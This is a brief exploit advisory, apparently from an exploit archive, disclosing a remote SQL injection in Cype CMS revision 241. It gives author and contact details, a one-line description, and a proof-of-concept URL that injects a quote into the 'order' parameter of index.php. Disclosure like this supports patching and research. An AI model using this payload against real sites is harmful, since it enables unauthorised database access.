Cype CMS – SQL Injection
# Exploit Title: Cype Content Management System Remote SQL Injection Exploit # Date: January 1st, 2010 # Author: Sora # Version: Revision 241 # Tested on: Linux (Backtrack 3) ----------------------------------------- > Cype CMS Remote SQL Injection Exploit > Author: Sora > Contact: vhr95zw [at] hotmail [dot] com > Website: http://greyhathackers.wordpress.com/ > Google Dork: In your dreams, script kiddies. # Exploit Description: Cype CMS suffers a remote SQL injection vulnerability in index.php. # Code/Proof of Concept (PoC): http://server/index.php?cype=main&page=ranking&order='&job=500 |